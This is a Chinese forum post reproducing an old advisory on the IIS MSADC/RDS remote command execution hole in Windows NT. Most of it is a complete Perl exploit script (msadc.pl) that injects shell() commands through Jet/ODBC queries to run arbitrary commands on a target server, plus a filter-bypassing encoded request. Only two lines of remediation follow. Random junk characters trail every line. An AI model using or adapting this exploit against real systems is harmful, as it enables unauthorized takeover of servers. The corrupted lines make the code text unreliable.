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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) De$AJl  
=u~nLL  
涉及程序: lH-VqkR\  
Microsoft NT server A=|XlP$6  
:uL<UD,vu3  
描述: ]TV_ p[L0B  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ^$c#L1 C  
g` rr3jP  
详细: $ {yc t  
如果你没有时间读详细内容的话,就删除: =bKDD <(  
c:\Program Files\Common Files\System\Msadc\msadcs.dll R|; BO:S1  
有关的安全问题就没有了。 1#vy# '  
G5ATR<0m  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 sqkWQ`Ur  
~uQ*u.wi  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 )'shpRB;1  
关于利用ODBC远程漏洞的描述,请参看:  Spm 0`  
6F\ 6,E  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V&mkS  
]lWqV  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 yR[6s#F/h  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Met?G0[  
K.tNV{OL  
这里不再论述。 W"{Ggk `  
l1KMEGmG  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: hCxg6e<[  
TykT(=  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset &AiAd6  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ]uXJjS f  
0B6!$) *-i  
ZR>BK,  
#将下面这段保存为txt文件,然后: "perl -x 文件名" V"Q\7,_k.  
?_Qe45 @  
#!perl wO??"${OH  
# K:Z$V  
# MSADC/RDS 'usage' (aka exploit) script 7Sdo*z  
# A U~DbU0O  
# by rain.forest.puppy ( eV,f  
# *&U~Io"U  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me *>fr'jj1$  
# beta test and find errors! *^>"  h@J  
+VwQ=[y]  
use Socket; use Getopt::Std; hgU;7R,?ir  
getopts("e:vd:h:XR", \%args); ]jT}]9Q$  
6<&~ R 3dQ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; c3]t"TA,  
U}92%W?  
if (!defined $args{h} && !defined $args{R}) { hBgE%#`s  
print qq~ g 9,"u_  
Usage: msadc.pl -h <host> { -d <delay> -X -v } F^,:p.ihm<  
-h <host> = host you want to scan (ip or domain) $]7f1U_e  
-d <seconds> = delay between calls, default 1 second Mj0 ,Y#=76  
-X = dump Index Server path table, if available ]#0 (  
-v = verbose +eVYy_bL-  
-e = external dictionary file for step 5 1tuvJ+`{  
bWSN]]e1#  
Or a -R will resume a command session wMS%/l0p1  
]n^iG7aB?  
~; exit;} xoZ m,Pxd  
@ @[xTyA  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Nt>^2Mv   
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} fit{n]g  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} EJ:O 1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); {Jn0G;  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} M7#!Y=  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } m8n)sw,,  
`_/bg(E  
if (!defined $args{R}){ $ret = &has_msadc; --h\tj\U  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ^ h=QpH  
2D 4,#X  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" =Rd`"]Mnfb  
. "cmd /c "; U`v2Yw3E  
$in=<STDIN>; chomp $in; dT| XcVKg  
$command="cmd /c " . $in ; x $uhkP  
7# AIX],  
if (defined $args{R}) {&load; exit;} d$IROZK-D  
H'A N osv  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Ft5A(P >  
&try_btcustmr; *%xbn8  
Y ^^4n$  
print "\nStep 2: Trying to make our own DSN..."; 4m*)("H  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?N kKDvv  
^'3c%&Zf3  
print "\nStep 3: Trying known DSNs..."; jY6GWsh:9  
&known_dsn; *g5bdQ:Av~  
& ALnE:F  
print "\nStep 4: Trying known .mdbs..."; OG$n C  
&known_mdb;  "'4  
j6%W+;{/pj  
if (defined $args{e}){ \,R;  
print "\nStep 5: Trying dictionary of DSN names..."; EN m%(G$  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 20Zxv!  
<AgB"y@  
print "Sorry Charley...maybe next time?\n"; M}] *j  
exit; JFv70rBe  
SxF'2ii  
############################################################################## aH }/+Hu-  
kn3w6]  
sub sendraw { # ripped and modded from whisker RELNWr  
sleep($delay); # it's a DoS on the server! At least on mine... <4rnOQ:  
my ($pstr)=@_; *aErwGLB8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .W]k 8N E  
die("Socket problems\n"); l!ow\ZuQBF  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]V"P &; m  
select(S); $|=1; l7`{O/hN  
print $pstr; my @in=<S>; a (U52dO,  
select(STDOUT); close(S); [?K>s>it  
return @in; [>ghs_?dZ  
} else { die("Can't connect...\n"); }} ; Y/nS  
j!+jLm!l  
############################################################################## %q5dV<X'c  
8eqTA8$?  
sub make_header { # make the HTTP request T Q41i/{  
my $msadc=<<EOT ElO|6kOBYG  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ?G`m;S  
User-Agent: ACTIVEDATA _E '?U  
Host: $ip [O3:?BNY  
Content-Length: $clen 9NTNulD>P  
Connection: Keep-Alive 8LV6E5Q  
n)yDep]$G  
ADCClientVersion:01.06 M?l v  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 bjVk9XvH6  
@a 9.s  
--!ADM!ROX!YOUR!WORLD! "Enb   
Content-Type: application/x-varg 4cQP+n  
Content-Length: $reqlen KV0*dB;  
FJn-cR.n  
EOT o~$O$  
; $msadc=~s/\n/\r\n/g;  Bx45yaT  
return $msadc;} /LFuf`bXV  
vyZ&%?{*R  
############################################################################## dN5{W0_  
kk fWiPO^  
sub make_req { # make the RDS request 'T eH(?3G  
my ($switch, $p1, $p2)=@_; n/ KO{:  
my $req=""; my $t1, $t2, $query, $dsn; W.3b]zcV  
x-i1:W9;  
if ($switch==1){ # this is the btcustmr.mdb query [8T{=+k  
$query="Select * from Customers where City=" . make_shell(); tz ;3  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . cWW?@ _  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 8 a]'G)(ts  
;JxL>K(  
elsif ($switch==2){ # this is general make table query "_/ih1z]  
$query="create table AZZ (B int, C varchar(10))"; HH*y$  
$dsn="$p1";} 97liSd  
dWz?`B{'  
elsif ($switch==3){ # this is general exploit table query `W86]ut[  
$query="select * from AZZ where C=" . make_shell(); : UeK0  
$dsn="$p1";} s)Y1%#  
Vh~hfj"  
elsif ($switch==4){ # attempt to hork file info from index server Snk+ZQ-  
$query="select path from scope()"; Vn5T Jw  
$dsn="Provider=MSIDXS;";} um%_kX  
tV !?Ol  
elsif ($switch==5){ # bad query ^PEw#.WG  
$query="select"; "Z&.m..gc  
$dsn="$p1";} v,i|:;G  
4jXo5SkEJ  
$t1= make_unicode($query); & /8Tth86  
$t2= make_unicode($dsn); 40?RiwwD  
$req = "\x02\x00\x03\x00"; qyM/p.mP  
$req.= "\x08\x00" . pack ("S1", length($t1)); J>(X0@eWz  
$req.= "\x00\x00" . $t1 ; 5x+]uABE  
$req.= "\x08\x00" . pack ("S1", length($t2)); Q:b0M11QR  
$req.= "\x00\x00" . $t2 ; M\{n+r -m  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; MtkU]XKGT  
return $req;} 4Ly>x>b<  
vAX(3  
############################################################################## uZ6krI  
r w!jmvHE&  
sub make_shell { # this makes the shell() statement ZWkRoJXNi  
return "'|shell(\"$command\")|'";} ko9}?qs  
`,]Bs*~  
############################################################################## CH6 m  
1<ag=D`F_"  
sub make_unicode { # quick little function to convert to unicode ^+x?@$rq  
my ($in)=@_; my $out; ^fsMfB  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 6*i **  
return $out;} G _cJI  
F*P0=DD  
############################################################################## X +!+&RAN*  
JmCMFq B9  
sub rdo_success { # checks for RDO return success (this is kludge) DFMpU.BN W  
my (@in) = @_; my $base=content_start(@in); uzdPA'u  
if($in[$base]=~/multipart\/mixed/){ T^ktfg Xq  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 1Ms]\<^j  
return 0;} g-qXS]y7  
>NUbk9}J4  
############################################################################## i}vJI}S.$  
f\_RW;y|m  
sub make_dsn { # this makes a DSN for us B@F@,?K4%  
my @drives=("c","d","e","f"); FJeh=\  
print "\nMaking DSN: "; @jn&Wf?  
foreach $drive (@drives) { m?kiGC&m  
print "$drive: "; AM- bs^  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . -PV1x1|  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" *I 1H  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); X%b1KG|#(  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; %mC@}  
return 0 if $2 eq "404"; # not found/doesn't exist irQ'Rm [  
if($2 eq "200") { L('1NN 2  
foreach $line (@results) { $e+sqgU  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} AERJ]$\  
} return 0;} aDdxR:  
*$=i1w  
############################################################################## 4<Vi`X7[F  
mGE!,!s}  
sub verify_exists { cK'g2S  
my ($page)=@_; !Ubm 586!  
my @results=sendraw("GET $page HTTP/1.0\n\n"); g,d_  
return $results[0];} 2iNLm6"  
W{;Qi&^ca  
############################################################################## (p2`ofj  
Ic(qA{SM  
sub try_btcustmr { nkHl;;WJ  
my @drives=("c","d","e","f"); !R8%C!=a  
my @dirs=("winnt","winnt35","winnt351","win","windows"); R&|.Lvmc/  
G|,&V0*  
foreach $dir (@dirs) { -K/+}4i3N  
print "$dir -> "; # fun status so you can see progress [|:{qQyD  
foreach $drive (@drives) { Xc-["y64  
print "$drive: "; # ditto YF{MXK}  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; `Na()r$T  
$reqlenlen=length( "$reqlen" ); "VZ1LVI  
$clen= 206 + $reqlenlen + $reqlen; y`RzcXblIZ  
LhO\a  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 8~(xi<"e  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?TA7i b_  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} )M0`dy{1  
5t:Zp\$+`  
############################################################################## yX!fj\R  
8xB-cE  
sub odbc_error { u[)X="-e#  
my (@in)=@_; my $base; dWn6-es  
my $base = content_start(@in); B''yW{  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ^ 9+ Qxv  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; %DSr@IX  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; hi,=" /9  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &>qUT]w  
return $in[$base+4].$in[$base+5].$in[$base+6];} `Moo WG  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; \9[vi +T  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . RQ E]=N  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9\"\7S/Z  
btg= # u  
############################################################################## b d 1^  
}{F)Ren  
sub verbose { Pk;w.)kT  
my ($in)=@_; CFFb>d  
return if !$verbose; H?"M&mF  
print STDOUT "\n$in\n";} vYRY?~8 C  
P3Ql[ 2  
############################################################################## CmB_g?K  
9p8ajlYg,  
sub save { ^8&}Nk[j  
my ($p1, $p2, $p3, $p4)=@_; /[TOy2/;%b  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; o(ow{S@=4  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; s* GZOz  
close OUT;} \kQ)fk]^  
xCZ_x$bk  
############################################################################## P|Aac,nE+^  
[#GBn0BG)  
sub load { 3uYLA4[-B  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; W5u5!L/  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); nWsRa uY  
@p=<IN>; close(IN); jgE{JK\n4  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); yu6~:$%H  
$target= inet_aton($ip) || die("inet_aton problems"); 9(]_so24,  
print "Resuming to $ip ..."; cB,^?djJ3  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; CzV;{[?~;  
if($p[1]==1) { z#+WK| a  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; \hX,z =  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; XKGiw 2 C  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {v*4mT  
if (rdo_success(@results)){print "Success!\n";} |V5BL<4  
else { print "failed\n"; verbose(odbc_error(@results));}} :=Zd)i)3  
elsif ($p[1]==3){ . Z&5TK4I  
if(run_query("$p[3]")){ r $S9/  
print "Success!\n";} else { print "failed\n"; }} 2xN7lfu1RB  
elsif ($p[1]==4){ uL)MbM]  
if(run_query($drvst . "$p[3]")){ 1t e^dh:Vp  
print "Success!\n"; } else { print "failed\n"; }} |&@q$d  
exit;} \>S.nW  
j#f/M3  
############################################################################## OmuE l>  
:P q&l.  
sub create_table { "1s ]74  
my ($in)=@_; $2Wk#F2c=  
$reqlen=length( make_req(2,$in,"") ) - 28; 9we];RYK  
$reqlenlen=length( "$reqlen" ); w}1IP-  
$clen= 206 + $reqlenlen + $reqlen; <l1/lm<#  
my @results=sendraw(make_header() . make_req(2,$in,"")); `:lcN0n  
return 1 if rdo_success(@results); 7Q/H+)  
my $temp= odbc_error(@results); verbose($temp); mywx V  
return 1 if $temp=~/Table 'AZZ' already exists/; k$v 7@|Aw  
return 0;} Qb@j8Xa4[  
1le9YL1_g  
############################################################################## ZTTA??}Y  
q-t%spkl  
sub known_dsn { @ fMlbJq  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go vE9"1M  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", dFg&|Lp  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", {b-C,J  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6Y[&1c8  
9-n]_AF`0  
foreach $dSn (@dsns) { DSs/D1mj&  
print "."; >IQ&*Bb  
next if (!is_access("DSN=$dSn")); #xmiUN,|  
if(create_table("DSN=$dSn")){ |!K&h(J|  
print "$dSn successful\n"; |6NvByc,  
if(run_query("DSN=$dSn")){ xd3mAf  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { cPIyD?c  
print "Something's borked. Use verbose next time\n";}}} print "\n";} !$HuH6_[  
05ZYOs}  
############################################################################## u0R[TA3  
87[o^)8  
sub is_access { w'}s'gGE  
my ($in)=@_; 3R/6/+S-  
$reqlen=length( make_req(5,$in,"") ) - 28; ~^.,Ftkb@7  
$reqlenlen=length( "$reqlen" ); xF UD9TM  
$clen= 206 + $reqlenlen + $reqlen; u&p8S#e  
my @results=sendraw(make_header() . make_req(5,$in,"")); ^I/(9KP#  
my $temp= odbc_error(@results); "a(R>PV%  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ^Whc<>|  
return 0;} g{DOQA  
=pe O %  
############################################################################## 6iQqOAG  
Yaq0mef0  
sub run_query { _x5-!gK  
my ($in)=@_; "Io-%S u+  
$reqlen=length( make_req(3,$in,"") ) - 28; NTJ,U2  
$reqlenlen=length( "$reqlen" ); ip'v<%,Q3"  
$clen= 206 + $reqlenlen + $reqlen; -T+yS BO_3  
my @results=sendraw(make_header() . make_req(3,$in,"")); J>dj]1I  
return 1 if rdo_success(@results); e77s?WxbK  
my $temp= odbc_error(@results); verbose($temp); W9cvxsox  
return 0;} Nj6Np^@sH  
p,WBF  
############################################################################## L,_U co  
-C^qN7Bz  
sub known_mdb { .~'q yD2V  
my @drives=("c","d","e","f","g"); Ge$&k  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Q3lVx5G>4  
my $dir, $drive, $mdb; >ptI!\i}  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yp m*or  
J'cE@(US  
# this is sparse, because I don't know of many .WOF:Nu4  
my @sysmdbs=( "\\catroot\\icatalog.mdb", IwFf8? 3  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", M-Nn \h$,  
"\\system32\\certmdb.mdb", >VjtKSN  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% f].z.  
nb5%a   
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", rGH7S!\AM  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3I?yRE  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", !4F@ !.GG!  
"\\cfusion\\cfapps\\security\\realm_.mdb", ;Xidv9c  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", d{!zJ+n  
"\\cfusion\\database\\cfexamples.mdb", -GgV&%'a  
"\\cfusion\\database\\cfsnippets.mdb", oi3Ix7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", pfim*\'  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", dkEnc  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ]H:K$nmX  
"\\cfusion\\database\\smpolicy.mdb", i\36 s$\  
"\\cfusion\\database\cypress.mdb", 7; }TNK\+v  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ku^2K   
"\\website\\cgi-win\\dbsample.mdb", !oV'  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", LY0/\Z"N  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" etW-gbr  
); #these are just /C<} :R  
foreach $drive (@drives) { YS"76FJ  
foreach $dir (@dirs){ /? j^Qu  
foreach $mdb (@sysmdbs) { 8HO)",+I  
print "."; zJ0'KHF}o  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ (K"t</]  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Q6Zh%\+h(  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ Sdmynuv U  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; S4O:?^28  
} else { print "Something's borked. Use verbose next time\n"; }}}}} D/{Spw@  
_ )^n[_E  
foreach $drive (@drives) { Qzk/oH s  
foreach $mdb (@mdbs) { a7NX~9 g  
print "."; K3UG6S\B  
if(create_table($drv . $drive . $dir . $mdb)){ Q!%CU8!`&  
print "\n" . $drive . $dir . $mdb . " successful\n"; I(WND/&  
if(run_query($drv . $drive . $dir . $mdb)){ $PbN=@  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Y@'1}=`J  
} else { print "Something's borked. Use verbose next time\n"; }}}} "ZVBn!  
} 8<^6<c  
5Q72.4HH  
############################################################################## =TI|uD6T  
eWx6$_|  
sub hork_idx { VA'<  
print "\nAttempting to dump Index Server tables...\n"; 13{"sY:PT#  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; {&(bKQ  
$reqlen=length( make_req(4,"","") ) - 28; ]O&A:Us  
$reqlenlen=length( "$reqlen" ); Ip0@Q}^  
$clen= 206 + $reqlenlen + $reqlen; 'E8dkVlI  
my @results=sendraw2(make_header() . make_req(4,"","")); eEe8T=mD  
if (rdo_success(@results)){ ]i]sgg[  
my $max=@results; my $c; my %d; ?t.?f`(|  
for($c=19; $c<$max; $c++){ Hp> J,m(*  
$results[$c]=~s/\x00//g; L{CHAVkV  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; l 0b=;^6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; >|I3h5\M  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; L@R%*-a  
$d{"$1$2"}="";} <^ )0M  
foreach $c (keys %d){ print "$c\n"; } 1 }q[8q  
} else {print "Index server doesn't seem to be installed.\n"; }} vrW9<{  
k0D&F;a%  
############################################################################## |V~P6o(/  
*&2#;mf3  
sub dsn_dict { qV$',U*+T  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $X&OGTlw^  
while(<IN>){ E.% F/mM  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 2Nl("e^kJr  
next if (!is_access("DSN=$dSn")); yb**|[By  
if(create_table("DSN=$dSn")){ |QgXSe7  
print "$dSn successful\n"; ;%z0iZmg  
if(run_query("DSN=$dSn")){ a m zw  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ;09J;sf  
print "Something's borked. Use verbose next time\n";}}} i+cGw  
print "\n"; close(IN);} o-' i)pp  
$ .Z2Rdlv(  
############################################################################## {:FITF3o  
y<.!TULa_  
sub sendraw2 { # ripped and modded from whisker 7<:w-  
sleep($delay); # it's a DoS on the server! At least on mine... (1} Ndo^;w  
my ($pstr)=@_; `y6l^ep  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |95/'a*  
die("Socket problems\n"); `oz7Q(`  
if(connect(S,pack "SnA4x8",2,80,$target)){ ".i{WyTt  
print "Connected. Getting data"; h+^T);h};|  
open(OUT,">raw.out"); my @in; Y@\5gZ&T  
select(S); $|=1; print $pstr; =,]J"n8|v  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} g4$%)0x%  
close(OUT); select(STDOUT); close(S); return @in; nG*6ic  
} else { die("Can't connect...\n"); }} Z "=(u wM  
O.}gG6u5  
############################################################################## tB3CX\e  
\+~4t  
sub content_start { # this will take in the server headers 7Y*m_AhxJ  
my (@in)=@_; my $c; i:8^:(i  
for ($c=1;$c<500;$c++) { qRGb3l  
if($in[$c] =~/^\x0d\x0a/){ C[&&.w8Pm  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } v_@_J!s  
else { return $c+1; }}} 6uXYZ.A  
return -1;} # it should never get here actually S'JeA>L  
KE&}*Nf[  
############################################################################## qtH&]Suu,  
pz IMj_  
sub funky { yl 8v&e{  
my (@in)=@_; my $error=odbc_error(@in); 4F4u1r+  
if($error=~/ADO could not find the specified provider/){ Y#Vy:x[  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; G\p; bUF  
exit;} CzEn_ZMb  
if($error=~/A Handler is required/){ t3>r f3v  
print "\nServer has custom handler filters (they most likely are patched)\n"; O]g+z$2o  
exit;} -9*WQU9R  
if($error=~/specified Handler has denied Access/){ l9ihW^  
print "\nServer has custom handler filters (they most likely are patched)\n"; B;~agr  
exit;}} _Lb& 2 PAG  
EDQJ>c  
############################################################################## r"[T9  
nm-Y?!J  
sub has_msadc { |YFD|  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); G!;[If :<e  
my $base=content_start(@results); ?^vZ{B)&0E  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); J| '(;Ay4u  
return 0;} yrs3`/  
U[D<%7f  
######################## ZtLn*M  
?.4l1X6Ba  
ibc/x v2  
解决方案: Xh/av[Q  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ,6S 8s  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 urB3  
k>CtWV5B  
拿出来充数 哈哈
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